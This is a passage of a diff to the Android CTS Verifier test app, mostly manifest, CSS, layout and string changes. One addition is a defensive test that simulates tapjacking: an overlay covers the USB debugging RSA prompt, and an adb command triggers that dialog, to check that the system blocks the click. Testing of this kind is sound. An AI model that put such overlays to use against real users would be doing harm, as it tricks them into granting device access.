android:label="@string/device_profile_owner_permission_lockdown_test">
<intent-filter>
@@ -2532,7 +2558,6 @@
<action android:name="android.intent.action.WEB_SEARCH" />
<action android:name="android.intent.action.VIEW_DOWNLOADS" />
<action android:name="android.media.action.DISPLAY_AUDIO_EFFECT_CONTROL_PANEL" />
- <action android:name="android.settings.SHOW_INPUT_METHOD_PICKER" />
<action android:name="android.intent.action.MANAGE_NETWORK_USAGE" />
<action android:name="com.android.settings.TTS_SETTINGS" />
<action android:name="android.settings.ZEN_MODE_SETTINGS" />
@@ -2757,6 +2782,17 @@
</intent-filter>
</activity>
+ <activity android:name=".audio.RingerModeActivity"
+ android:label="@string/ringer_mode_tests">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.cts.intent.category.MANUAL_TEST" />
+ </intent-filter>
+ <meta-data android:name="test_category" android:value="@string/test_category_audio" />
+ <meta-data android:name="test_excluded_features"
+ android:value="android.software.leanback" />
+ </activity>
+
<activity android:name=".audio.HifiUltrasoundTestActivity"
android:label="@string/hifi_ultrasound_test"
android:screenOrientation="locked">
@@ -2827,6 +2863,8 @@
</intent-filter>
<meta-data android:name="test_category" android:value="@string/test_category_audio" />
<meta-data android:name="test_required_features" android:value="android.hardware.usb.host" />
+ <meta-data android:name="test_excluded_features"
+ android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
</activity>
<activity android:name=".audio.USBAudioPeripheralPlayActivity"
@@ -2837,6 +2875,8 @@
</intent-filter>
<meta-data android:name="test_category" android:value="@string/test_category_audio" />
<meta-data android:name="test_required_features" android:value="android.hardware.usb.host" />
+ <meta-data android:name="test_excluded_features"
+ android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
</activity>
<activity android:name=".audio.USBAudioPeripheralRecordActivity"
@@ -2847,6 +2887,8 @@
</intent-filter>
<meta-data android:name="test_category" android:value="@string/test_category_audio" />
<meta-data android:name="test_required_features" android:value="android.hardware.usb.host" />
+ <meta-data android:name="test_excluded_features"
+ android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
</activity>
<activity android:name=".audio.USBAudioPeripheralButtonsActivity"
@@ -2857,6 +2899,8 @@
</intent-filter>
<meta-data android:name="test_category" android:value="@string/test_category_audio" />
<meta-data android:name="test_required_features" android:value="android.hardware.usb.host" />
+ <meta-data android:name="test_excluded_features"
+ android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
</activity>
<activity android:name=".audio.AudioLoopbackActivity"
@@ -3122,7 +3166,7 @@
android:value="@string/test_category_telephony"/>
<meta-data
android:name="test_required_features"
- android:value="android.hardware.telephony:android.software.sip:android.software.sip.voip"/>
+ android:value="android.hardware.telephony"/>
</activity>
<service
@@ -3166,7 +3210,7 @@
android:value="@string/test_category_telecom"/>
<meta-data
android:name="test_required_features"
- android:value="android.hardware.telephony:android.software.sip:android.software.sip.voip"/>
+ android:value="android.hardware.telephony"/>
</activity>
<activity
@@ -3182,7 +3226,7 @@
android:value="@string/test_category_telecom"/>
<meta-data
android:name="test_required_features"
- android:value="android.hardware.telephony:android.software.sip:android.software.sip.voip"/>
+ android:value="android.hardware.telephony"/>
</activity>
<activity
@@ -3214,7 +3258,7 @@
android:value="@string/test_category_telecom"/>
<meta-data
android:name="test_required_features"
- android:value="android.hardware.telephony:android.software.sip:android.software.sip.voip"/>
+ android:value="android.hardware.telephony"/>
</activity>
<service android:name="com.android.cts.verifier.telecom.CtsConnectionService"
diff --git a/apps/CtsVerifier/assets/report/compatibility_result.css b/apps/CtsVerifier/assets/report/compatibility_result.css
index 699f45a..22eb4a9 100644
--- a/apps/CtsVerifier/assets/report/compatibility_result.css
+++ b/apps/CtsVerifier/assets/report/compatibility_result.css
@@ -14,151 +14,140 @@
*/
body {
- font-family:arial,sans-serif;
- color:#000;
- font-size:13px;
- color:#333;
- padding:10;
- margin:10;
+ color: #333;
+ font-family: arial,sans-serif;
+ font-size: 13px;
+ margin: 10;
+ padding: 10;
}
/* Report logo and device name */
table.title {
- padding:5px;
- border-width: 0px;
- margin-left:auto;
- margin-right:auto;
- vertical-align:middle;
+ border-width: 0;
+ margin-left: auto;
+ margin-right: auto;
+ padding: 5px;
+ vertical-align: middle;
}
table.summary {
- background-color: rgb(212, 233, 169);
- border-collapse:collapse;
- border: 0px solid #A5C639;
- margin-left:auto;
- margin-right:auto;
+ background-color: #d4e9a9;
+ border: 0 solid #a5c639;
+ border-collapse: collapse;
+ margin-left: auto;
+ margin-right: auto;
}
table.summary th {
- background-color: #A5C639;
- font-size: 1.2em;
- padding: 0.5em;
+ background-color: #a5c639;
+ font-size: 1.2em;
+ padding: .5em;
}
table.summary td {
- border-width: 0px 0px 0px 0px;
- border-color: gray;
- border-style: inset;
- font-size: 1em;
- padding: 0.5em;
- vertical-align: top;
+ border: 0 inset #808080;
+ font-size: 1em;
+ padding: .5em;
+ vertical-align: top;
}
table.testsummary {
- background-color: rgb(212, 233, 169);
- border-collapse:collapse;
- margin-left:auto;
- margin-right:auto;
+ background-color: #d4e9a9;
+ border-collapse: collapse;
+ margin-left: auto;
+ margin-right: auto;
}
table.testsummary th {
- background-color: #A5C639;
- border: 1px outset gray;
- padding: 0.5em;
+ background-color: #a5c639;
+ border: 1px outset #808080;
+ padding: .5em;
}
table.testsummary td {
- border: 1px outset #A5C639;
- padding: 0.5em;
- text-align: center;
+ border: 1px outset #a5c639;
+ padding: .5em;
+ text-align: center;
}
table.testdetails {
- background-color: rgb(212, 233, 169);
- border-collapse:collapse;
- border-width:1;
- border-color: #A5C639;
- margin-left:auto;
- margin-right:auto;
- margin-bottom: 2em;
- vertical-align: top;
- width: 95%;
+ background-color: #d4e9a9;
+ border-collapse: collapse;
+ border-color: #a5c639;
+ border-width: 1;
+ margin-bottom: 2em;
+ margin-left: auto;
+ margin-right: auto;
+ vertical-align: top;
+ width: 95%;
}
table.testdetails th {
- background-color: #A5C639;
- border-width: 1px;
- border-color: gray;
- border-style: outset;
- height: 2em;
- padding: 0.2em;
+ background-color: #a5c639;
+ border: 1px outset #808080;
+ height: 2em;
+ padding: .2em;
}
table.testdetails td {
- border-width: 1px;
- border-color: #A5C639;
- border-style: outset;
- text-align: left;
- vertical-align: top;
- padding: 0.2em;
+ border: 1px outset #a5c639;
+ padding: .2em;
+ text-align: left;
+ vertical-align: top;
}
table.testdetails td.module {
- background-color: white;
- border: 0px;
- font-weight: bold;
+ background-color: #fff;
+ border: 0;
+ font-weight: bold;
}
/* Test cell details */
td.failed {
- background-color: #FA5858;
- font-weight:bold;
- vertical-align: top;
- text-align: center;
+ background-color: #fa5858;
+ font-weight: bold;
+ text-align: center;
+ vertical-align: top;
}
td.failuredetails {
- text-align: left;
+ text-align: left;
}
td.pass {
- text-align: center;
- margin-left:auto;
- margin-right:auto;
+ margin-left: auto;
+ margin-right: auto;
+ text-align: center;
}
td.not_executed {
- background-color: #A5C639;
- vertical-align: top;
- text-align: center;
+ background-color: #a5c639;
+ text-align: center;
+ vertical-align: top;
}
td.testname {
- border-width: 1px;
- border-color: #A5C639;
- border-style: outset;
- text-align: left;
- vertical-align: top;
- padding:1;
- overflow:hidden;
+ border: 1px outset #a5c639;
+ overflow: hidden;
+ padding: 1;
+ text-align: left;
+ vertical-align: top;
}
td.testcase {
- border-width: 1px;
- border-color: #A5C639;
- border-style: outset;
- text-align: left;
- vertical-align: top;
- padding:1;
- overflow:hidden;
- font-weight:bold;
+ border: 1px outset #a5c639;
+ font-weight: bold;
+ overflow: hidden;
+ padding: 1;
+ text-align: left;
+ vertical-align: top;
}
div.details {
- white-space: pre-wrap; /* css-3 */
- white-space: -moz-pre-wrap; /* Mozilla, since 1999 */
- white-space: -pre-wrap; /* Opera 4-6 */
- white-space: -o-pre-wrap; /* Opera 7 */
- word-wrap: break-word; /* Internet Explorer 5.5+ */
- overflow:auto;
+ overflow: auto;
+ white-space: pre-wrap; /* css-3 */
+ white-space: -moz-pre-wrap; /* Mozilla, since 1999 */
+ white-space: -pre-wrap; /* Opera 4-6 */
+ white-space: -o-pre-wrap; /* Opera 7 */
+ word-wrap: break-word; /* Internet Explorer 5.5+ */
}
diff --git a/apps/CtsVerifier/jni/verifier/Android.mk b/apps/CtsVerifier/jni/verifier/Android.mk
index 1e43211..42e2d26 100644
--- a/apps/CtsVerifier/jni/verifier/Android.mk
+++ b/apps/CtsVerifier/jni/verifier/Android.mk
@@ -32,5 +32,7 @@
LOCAL_SHARED_LIBRARIES := liblog \
libnativehelper_compat_libc++
+LOCAL_CFLAGS := -Wno-unused-parameter
+
include $(BUILD_SHARED_LIBRARY)
diff --git a/apps/CtsVerifier/res/layout/ci_main.xml b/apps/CtsVerifier/res/layout/ci_main.xml
index a464427..21235b0 100644
--- a/apps/CtsVerifier/res/layout/ci_main.xml
+++ b/apps/CtsVerifier/res/layout/ci_main.xml
@@ -14,26 +14,20 @@
See the License for the specific language governing permissions and
limitations under the License.
-->
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
- android:layout_width="fill_parent"
- android:layout_height="fill_parent"
- android:gravity="bottom"
- android:orientation="vertical" >
-
+<ScrollView
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:fillViewport="true"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
<LinearLayout
- android:layout_width="fill_parent"
- android:layout_height="0dp"
- android:layout_weight="1"
- android:gravity="bottom"
- android:orientation="horizontal" >
-
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:orientation="vertical">
<LinearLayout
- android:layout_width="0dp"
- android:layout_height="fill_parent"
- android:layout_weight="2"
- android:gravity="bottom"
- android:orientation="vertical" >
-
+ android:layout_width="match_parent"
+ android:layout_height="0dp"
+ android:layout_weight="1"
+ android:orientation="vertical">
<TextView
android:id="@+id/camera_text"
android:layout_width="wrap_content"
@@ -76,12 +70,8 @@
android:enabled="false"
android:text="@string/ci_start_test_button_caption" />
+ </LinearLayout>
</LinearLayout>
-
- </LinearLayout>
-
+ <include layout="@layout/pass_fail_buttons" />
</LinearLayout>
-
- <include layout="@layout/pass_fail_buttons" />
-
-</LinearLayout>
+</ScrollView>
diff --git a/apps/CtsVerifier/res/layout/intent_driven_test.xml b/apps/CtsVerifier/res/layout/intent_driven_test.xml
index 794a6d6..4386392 100644
--- a/apps/CtsVerifier/res/layout/intent_driven_test.xml
+++ b/apps/CtsVerifier/res/layout/intent_driven_test.xml
@@ -9,7 +9,7 @@
<ScrollView
android:layout_width="match_parent"
android:layout_height="0dp"
- android:layout_weight="1">
+ android:layout_weight="3">
<TextView android:id="@+id/info"
android:layout_width="match_parent"
android:layout_height="wrap_content"
@@ -18,15 +18,16 @@
android:text="@string/dc_start_alarm_test_info"/>
</ScrollView>
- <LinearLayout android:id="@+id/buttons"
- android:orientation="horizontal"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"/>
-
- <LinearLayout
+ <ScrollView
android:layout_width="match_parent"
- android:layout_height="wrap_content">
+ android:layout_height="0dp"
+ android:layout_weight="2">
- <include layout="@layout/pass_fail_buttons"/>
- </LinearLayout>
+ <LinearLayout
+ android:id="@+id/buttons"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:orientation="vertical"/>
+ </ScrollView>
+ <include layout="@layout/pass_fail_buttons"/>
</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/provisioning_byod.xml b/apps/CtsVerifier/res/layout/provisioning_byod.xml
index 227d8d8..444bead 100644
--- a/apps/CtsVerifier/res/layout/provisioning_byod.xml
+++ b/apps/CtsVerifier/res/layout/provisioning_byod.xml
@@ -15,7 +15,7 @@
android:orientation="vertical">
<ScrollView
android:layout_width="match_parent"
- android:layout_height="wrap_content"
+ android:layout_height="0dp"
android:layout_weight="2">
<TextView
android:id="@+id/test_instructions"
@@ -26,12 +26,12 @@
</ScrollView>
<Button
android:id="@+id/prepare_test_button"
- android:layout_width="204dip"
+ android:layout_width="wrap_content"
android:layout_height="wrap_content"/>
<ListView
android:id="@+id/android:list"
android:layout_width="match_parent"
- android:layout_height="wrap_content"
+ android:layout_height="0dp"
android:layout_weight="3"/>
<include layout="@layout/pass_fail_buttons"/>
</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/tapjacking.xml b/apps/CtsVerifier/res/layout/tapjacking.xml
new file mode 100644
index 0000000..6e5ca73
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/tapjacking.xml
@@ -0,0 +1,50 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
+ style="@style/RootLayoutPadding"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <LinearLayout
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:orientation="vertical">
+
+ <RelativeLayout
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content" >
+ <TextView
+ android:id="@+id/usb_tapjacking_instructions"
+ style="@style/InstructionsSmallFont"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:layout_alignParentRight="true"
+ android:layout_alignParentTop="true"
+ android:text="@string/usb_tapjacking_test_instructions" />
+
+ <Button android:id="@+id/tapjacking_btn"
+ android:text="@string/usb_tapjacking_button_text"
+ android:layout_below="@id/usb_tapjacking_instructions"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:layout_alignParentRight="true"
+ android:layout_marginLeft="20dip"
+ android:layout_marginRight="20dip"/>
+ </RelativeLayout>
+
+ <include layout="@layout/pass_fail_buttons" />
+ </LinearLayout>
+</ScrollView>
+
diff --git a/apps/CtsVerifier/res/layout/usb_tapjacking_overlay.xml b/apps/CtsVerifier/res/layout/usb_tapjacking_overlay.xml
new file mode 100644
index 0000000..6a5ba58
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/usb_tapjacking_overlay.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:orientation="vertical">
+
+ <TextView
+ android:id="@+id/textView"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:layout_gravity="center"
+ android:maxWidth="350dp"
+ android:paddingLeft="20dp"
+ android:paddingRight="20dp"
+ android:paddingBottom="6dp"
+ android:paddingTop="8dp"
+ android:background="#ffffff"
+ android:text="@string/usb_tapjacking_overlay_message"
+ android:textColor="#000000"
+ android:textSize="22sp" />
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/voicemail_hide_in_call_settings.xml b/apps/CtsVerifier/res/layout/voicemail_hide_in_call_settings.xml
index 4d7803b..cf1cc7c 100644
--- a/apps/CtsVerifier/res/layout/voicemail_hide_in_call_settings.xml
+++ b/apps/CtsVerifier/res/layout/voicemail_hide_in_call_settings.xml
@@ -68,23 +68,25 @@
android:layout_height="wrap_content"
android:text="@string/open_call_settings"/>
- <LinearLayout
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:layout_marginTop="@dimen/js_padding"
- android:layout_marginBottom="@dimen/js_padding">
- <Button
- android:id="@+id/settings_hidden"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:text="@string/voicemail_hidden"/>
- <Button
- android:id="@+id/settings_not_hidden"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:text="@string/voicemail_not_hidden"
- />
- </LinearLayout>
+ <LinearLayout
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:layout_marginTop="@dimen/js_padding"
+ android:layout_marginBottom="@dimen/js_padding"
+ android:orientation="vertical">
+
+ <Button
+ android:id="@+id/settings_hidden"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="@string/voicemail_hidden"/>
+
+ <Button
+ android:id="@+id/settings_not_hidden"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="@string/voicemail_not_hidden"/>
+ </LinearLayout>
<LinearLayout
android:layout_width="wrap_content"
diff --git a/apps/CtsVerifier/res/layout/voicemail_hide_ringtone_settings.xml b/apps/CtsVerifier/res/layout/voicemail_hide_ringtone_settings.xml
index 9ccd909..47cd2f6 100644
--- a/apps/CtsVerifier/res/layout/voicemail_hide_ringtone_settings.xml
+++ b/apps/CtsVerifier/res/layout/voicemail_hide_ringtone_settings.xml
@@ -45,23 +45,25 @@
android:layout_height="wrap_content"
android:text="@string/open_voicemail_settings"/>
- <LinearLayout
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:layout_marginTop="@dimen/js_padding"
- android:layout_marginBottom="@dimen/js_padding">
- <Button
- android:id="@+id/settings_hidden"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:text="@string/ringtone_hidden"/>
- <Button
- android:id="@+id/settings_not_hidden"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:text="@string/ringtone_not_hidden"
- />
- </LinearLayout>
+ <LinearLayout
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:layout_marginTop="@dimen/js_padding"
+ android:layout_marginBottom="@dimen/js_padding"
+ android:orientation="vertical">
+
+ <Button
+ android:id="@+id/settings_hidden"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="@string/ringtone_hidden"/>
+
+ <Button
+ android:id="@+id/settings_not_hidden"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="@string/ringtone_not_hidden"/>
+ </LinearLayout>
<LinearLayout
android:layout_width="wrap_content"
diff --git a/apps/CtsVerifier/res/raw/john_cage.ogg b/apps/CtsVerifier/res/raw/john_cage.ogg
new file mode 100644
index 0000000..62d2335
--- /dev/null
+++ b/apps/CtsVerifier/res/raw/john_cage.ogg
Binary files differ
diff --git a/apps/CtsVerifier/res/raw/testmp3.mp3 b/apps/CtsVerifier/res/raw/testmp3.mp3
new file mode 100755
index 0000000..657faf7
--- /dev/null
+++ b/apps/CtsVerifier/res/raw/testmp3.mp3
Binary files differ
diff --git a/apps/CtsVerifier/res/values-vrheadset/strings.xml b/apps/CtsVerifier/res/values-vrheadset/strings.xml
index 8a1aa05..8196cb9 100644
--- a/apps/CtsVerifier/res/values-vrheadset/strings.xml
+++ b/apps/CtsVerifier/res/values-vrheadset/strings.xml
@@ -20,179 +20,7 @@
<item>com.android.cts.verifier.car.CarDockTestActivity</item>
<item>com.android.cts.verifier.deskclock.DeskClockTestsActivity</item>
<item>com.android.cts.verifier.screenpinning.ScreenPinningTestActivity</item>
- <item>com.android.cts.verifier.sensors.SignificantMotionTestActivity</item>
<item>com.android.cts.verifier.notifications.ShortcutThrottlingResetActivity</item>
<item>com.android.cts.verifier.vr.VrListenerVerifierActivity</item>
</string-array>
-
- <!-- Override default strings for features that non-handheld devices may not support. -->
-
- <!-- This specific test is disabling tethering, non-handheld devices may not support tethering and this may effectively be a no-op. -->
- <string name="disallow_config_tethering_action">
- Configuring tethering and portable hotspots.\n
- NOTE: If the device does not support tethering please pass the test using the green check mark.\n
- </string>
-
- <!-- This specific test is disallowing usb file transfers. non-handheld devices may not support usb file transfer features and this may effectively be a no-op. -->
- <string name="device_owner_disallow_usb_file_transfer_test_info">
- Please press below button to set the \"disallow USB file transfer\" restriction.\n
- If a USB notification appears, open the notification and check that the
- \"Transfer files (MTP)\" and \"Transfer photos (PTP)\" cannot be selected and trigger a
- support message when trying to select them.\n
- NOTE: If the device does not support MTP or PTP please pass the test using the green check mark.\n
- Check if you can mount the device as a USB drive on your desktop computer. The test is
- successful if you cannot mount the device, and files from your phone cannot be
- downloaded through USB.\n
- Please mark the test accordingly.
- </string>
-
- <!-- This specific test is disabling the keyguard, non-handheld devices may not support keyguard and this may effectively be a no-op. -->
- <string name="device_owner_disable_keyguard_test_info">
- NOTE: If the device does not support keyguard please pass the test using the green check mark.\n
- Before running this test, please make sure you have not set any device lockscreen password.\n
- Please press the below button to disable the keyguard. Press the power button on your device to
- switch off the screen. Then press the power button to switch the screen back on and verify that
- no keyguard was shown.\n
- Next, press the button to reenable the keyguard and repeat the above steps, this time verifying that
- a keyguard was shown.\n
- Please mark the test accordingly.
- </string>
-
- <!-- This specific test is disabling the status bar, non-handheld devices may not support a status bar and this may effectively be a no-op. -->
- <string name="device_owner_disable_statusbar_test_info">
- NOTE: If the device does not support a status bar, please pass the test using the green check mark. \n
- Please press the below button to disable the status bar and verify that quick settings, notifications
- and the assist gesture are no longer available.\n
- Next, press the button to reenable the status bar and verify that quick settings, notification
- and the assist gesture are available again.\n
- Please mark the test accordingly.
- </string>
-
- <!-- This specific test is disabling keyguard/lock screen notifications, non-handheld devices may not support
- keyguard/lock screen notifciations and this may effectively be a no-op. -->
- <string name="disallow_keyguard_unredacted_notifications_set_step">
- NOTE: If the device does not support a keyguard or lock screen notifications, please pass the test
- using the green checkmark.\n
- Disallow unredacted notifications when device is locked by turning on the switch below
- </string>
-
- <!-- This specific test is disabling trust agents, non-handheld devices may not support trust agents and this may effectively be a no-op. -->
- <string name="provisioning_byod_disable_trust_agents_instruction">
- NOTE: If the device does not support trust agents, please mark the test as \"Pass\".\n
- Please press the Go button to go to Settings > Security. Then go to Trusted agents and\n
- check if the agents are shown as disabled by the administrator.
- Then please press Back and mark the test as \"Pass\" or \"Fail\".
- </string>
-
- <!-- This specific test is disabling keyguard notifications, non-handheld devices may not support keyguard and this may effectively be a no-op. -->
- <string name="device_admin_disable_notifications_instruction">
- NOTE: If the device does not support a keyguard, please mark the test as \"Pass\".\n
- Please press the Go button to lock the screen. Wait a few seconds to see
- if a notification appears. Expected result is no notifications appear.
- You should be able to see one after unlocking.
- </string>
-
- <!-- This specific test is disabling keyguard notifications, non-handheld devices may not support keyguard and this may effectively be a no-op. -->
- <string name="device_admin_disable_unredacted_notifications_instruction">
- Note: If the device does not support a keyguard, please mark the test as \"Pass"\.\n
- Please press the Go button to lock the screen. Wait a few seconds to see
- if a notification appears. Expected result is a notification appear with
- its content hidden. You should be able to see the content after unlocking.
- </string>
-
- <!-- This specific test is setting a lock screen message, non-handheld devices may not support lock scren messages
- and this may effectively be a no-op. -->
- <string name="lock_screen_info_set_step">
- NOTE: If the device does not support lock screen messages, pass the test using the green checkmark. \n
- Select a lock screen info by setting a non-empty message in the edittext below.
- </string>
-
- <!-- This specific test is setting permitted accessibilty features, non-handheld devices may not support accessibility features and this may effectively be a no-op. -->
- <string name="permitted_accessibility_services_set_step">
- NOTE: If the device does not support accessibility features, please pass the test using the green check mark.\n
- Check that \'Dummy Accessibility service\' is not enabled in Settings and disallow \'Dummy Accessibility service\' from permitted accessibility services by turning on
- the switch below.
- </string>
-
- <!-- This specific test is disabling volume changes via audio settings.
- Non-handheld devices may not support an audio settings page and this may effectively be a no-op. -->
- <string name="disallow_adjust_volume_action">
- NOTE: If the device does not support an audio settings page, please pass the test using the green checkmark.\n
- Adjusting the volume
- </string>
-
- <!-- Non-handheld devices may not support a keyguard and this test may effectively be a no-op. -->
- <string name="enterprise_privacy_keyguard_info">
- NOTE: If the device does not support a keyguard, please pass the test using the green checkmark.\n
- Please do the following:\n
- 1) Press the Go button to open Settings.\n
- 2) Navigate to \"Security\" > \"Screen lock\" and select the first screen lock type that is not \"None\".\n
- 3) Use the Back button to return to this page.\n
- 4) Lock the device.\n
- 5) Verify that on the lock screen, you are not told the device is managed.\n
- 6) Unlock the device.\n
- 7) Repeat steps (1) through (6) for each screen lock type other than \"None\".
- </string>
-
- <!-- Non-handheld devices may not support quicksettings and this test may effectively be a no-op. -->
- <string name="enterprise_privacy_quick_settings_info">
- NOTE: If the device does not support quick settings, please pass the test using the green check mark. \n
- Please do the following:\n
- 1) Press the Clear Org button.\n
- 2) Open and fully expand Quick Settings.\n
- 3) Verify that at the bottom of Quick Settings, you are told the device is managed.\n
- 4) Close Quick Settings.\n
- 5) Press the Set Org button.\n
- 6) Open and fully expand Quick Settings.\n
- 7) Verify that at the bottom of Quick Settings, you are told the device is managed by \"Foo, Inc.\".\n
- 8) Tap on the information.\n
- 9) Verify that a dialog informing you about device monitoring opens.\n
- 10) Tap the \"Learn more\" link.\n
- 11) Verify that a screen informing you what your managing organization can do is shown.\n
- \n
- Use the Back button to return to this page.
- </string>
-
- <!-- Non-handheld devices may not support quicksettings but still should be able to validate the API via
- the notification section. -->
- <string name="device_owner_network_logging_ui_info">
- Please do the following:\n
- NOTE: If the device does not support quick settings, please only check the notifications section.\n
- 1) Open and fully expand Quick Settings.\n
- 2) Check that you are told that your device is managed.\n
- 3) Close Quick Settings.\n
- 4) Enable network logging by tapping on the left button below.\n
- 5) Open Quick Settings again. Check that an icon appeared next to the text about device management.\n
- 6) Verify that a notification including the same icon popped up, informing you that network logging has been enabled.\n
- 7) Tap the notification.\n
- 8) Verify that a dialog about device monitoring opens, and informs you about: the name of the app that manages this device, details about the device owner\'s capabilities, and information that the admin has activated network logging and can see all network traffic.\n
- 9) Close the dialog.\n
- 10) Tap the right button below to disable network logging.\n
- 11) Verify that the notification disappeared.\n
- </string>
-
- <!-- This specific test is disabling keyguard's managed device message,
- non-handheld devices may not support keyguard and this may effectively be a no-op. -->
- <string name="enterprise_privacy_keyguard_negative_info">
- NOTE: If the device does not support a keyguard, please pass the test using the green checkmark.\n
- Please do the following:\n
- 1) Press the Go button to open Settings.\n
- 2) Navigate to \"Security\" > \"Screen lock\" and select the first screen lock type that is not \"None\".\n
- 3) Use the Back button to return to this page.\n
- 4) Lock the device.\n
- 5) Verify that on the lock screen, you are not told the device is managed.\n
- 6) Unlock the device.\n
- 7) Repeat steps (1) through (6) for each screen lock type other than \"None\".
- </string>
-
- <!-- This specific test is disabling quicksetting's managed device message,
- non-handheld devices may not support quicksettings and this may effectively be a no-op. -->
- <string name="enterprise_privacy_quick_settings_negative_info">
- NOTE: If the device does not support a Quick Settings, please pass the test using the green checkmark.\n
- Please do the following:\n
- 1) Open and fully expand Quick Settings.\n
- 2) Verify that at the bottom of Quick Settings, you are not told the device is managed.\n
- 3) Close Quick Settings.
- </string>
-
- </resources>
\ No newline at end of file
+</resources>
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 1a877f0..8286f1b 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -557,6 +557,7 @@
<string name="location_gnss_measure_no_location_test">GNSS Measurement Before Location Test</string>
<string name="location_gnss_reg_test">GNSS Measurement Registration Test</string>
<string name="location_gnss_value_test">GNSS Measurement Values Test</string>
+ <string name="location_pseudorange_value_test">GNSS Pseudorange Test</string>
<string name="location_gnss_ttff_test">GNSS TTFF Test</string>
<string name="location_gnss_nav_msg_test">GNSS Navigation Message Test</string>
<string name="location_gnss_status_test">GNSS Status Test</string>
@@ -957,6 +958,23 @@
<string name="sample_test">Sample Test</string>
<string name="sample_test_info">This test verifies that bluetooth sharing is working properly.\nThe test assumes the Device Under Test has bluetooth enabled and is already paired with a second device, also with bluetooth enabled.\nStart this test by clicking share, choose bluetooth from the options, and then select a device to share with.\nNote: This is a sample test, used to demonstrate how to write CTS Verifier tests, so just click pass.</string>
+ <!-- Strings for UsbDebuggingDialogTapjackingTest -->
+ <string name="usb_tapjacking_button_text">Show overlay</string>
+ <string name="usb_tapjacking_test">Usb Debugging Dialog Tapjacking Test</string>
+ <string name="usb_tapjacking_test_info">This test verifies that tapjacking on the usb dialog is not possible by disallowing users from accepting usb debugging pemissions when dialog is obscured.</string>
+ <string name="usb_tapjacking_test_instructions">
+ 1. Connect device via usb to computer.\n
+ 2. Click \"Show overlay\" button. Settings may appear if the CTS Verifier app doesn\'t have display over apps permission. Enable this permission and then click back to navigate back to the app.\n
+ 3. Trigger USB debugging dialog (from computer terminal): \"adb shell am start -e fingerprints placeholder -e key placeholder com.android.systemui/.usb.UsbDebuggingActivity\"\n
+ 4. USB debugging dialog should appear with the overlay on top saying \"This message covers the USB debugging RSA prompt\" to appear.\n
+ 5. Try clicking OK. \n
+ Test pass if you cannot click OK when the text quoted above is on top of the USB debugging dialog. Toast should appear saying there is an overlay so Settings cannot verify your response. \n
+ Note: Fake message overlay may remain on screen until you leave the test. This is working as intended. \n
+ </string>
+ <string name="usb_tapjacking_overlay_message">This message covers the USB debugging RSA prompt</string>
+ <string name="usb_tapjacking_error_toast">Please restart the application and try again.</string>
+ <string name="usb_tapjacking_error_toast2">Please enable display over apps permission for this application before proceeding.</string>
+
<!-- Strings for Camera Orientation -->
<string name="camera_orientation">Camera Orientation</string>
<string name="co_info">This test verifies the orientation capabilities of
@@ -1488,11 +1506,29 @@
<string name="attention_info">This test checks that the NotificationManagerService is
respecting user preferences about notification ranking and filtering.
</string>
